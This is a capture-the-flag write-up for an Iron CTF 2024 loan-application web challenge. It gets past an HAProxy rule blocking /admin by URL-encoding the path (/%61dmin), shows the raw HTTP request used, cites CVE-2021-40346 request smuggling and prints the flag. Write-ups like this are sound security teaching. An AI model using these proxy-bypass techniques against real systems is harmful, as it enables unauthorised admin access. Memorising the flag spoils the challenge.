Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> abu = uuid.uuid4()
>>> print(abu)
1bc1fe55-1ead-4ae0-b133-837452062299
>>> abu123 = uuid.uuid4()
>>> print(abu123)
2cc9ca8a-4695-43fb-8dbd-b799c06a258c

After checking the source, we find this interesting part.

1
2
3
4
5
6
7
@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
    try:
        mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
        return 'OK', 200
    except:
        return 'Internal Server Error', 500

Where the server connects to the endpoint /admin/loan/<loan_id> , but of course we hit a 403. Can’t be that easy HAHA. Also another thing I noticed is they used HAProxy for this web application, which I thought was an upgrade to our set-up, so that was in the back of my mind.

Checking out the haproxy.cfg.

1
2
acl is_admin path_beg /admin
http-request deny if is_admin
  • acl is_admin path_beg /admin: Creates an access control list (ACL) named is_admin that matches requests where the path begins with /admin.
  • http-request deny if is_admin: Denies requests that match the is_admin ACL, effectively blocking access to any URLs starting with /admin.

As expected, it blocks all the URL requests starting with /admin. Another interesting file to check out is the docker-compose.yml, that’s where we can also see the layout and executions including versions of the software in the web application.

1
2
loanapp-haproxy:
    image: haproxy:2.3.5

Now, we see it’s an older version of HAProxy, and there is a known vulnerability for it.

Critical Vulnerability in HAProxy (CVE-2021-40346): Integer Overflow Enables HTTP Smuggling

So actually, this was the intended method to solve it, integer overflowing the server to bypass HAProxy restrictions, but were a lot of unintended here, like /%61dmin or //admin and so on.

Payload:

1
2
3
4
5
6
7
8
9
10
POST /%61dmin/loan/670a5a603b619fc5054d4293 HTTP/1.1
Host: loanapp.1nf1n1ty.team
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIkxvZ2luIHN1Y2Nlc3NmdWwhIl19XSwidXNlcl9pZCI6IjY3MGE0YmU3M2I2MTlmYzUwNTRkNDI5MCJ9.ZwpOsQ.RDQIVJvEOtneQIWqsNsv3zwtpvY
Connection: keep-alive

31

Funnily here’s an unintended LOL.

32

Flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}

Reference:

Iron CTF 2024

Gunicorn 20.0.4 Request Smuggling - grenfeldt.dev

Continue

This post is licensed under CC BY 4.0 by the author.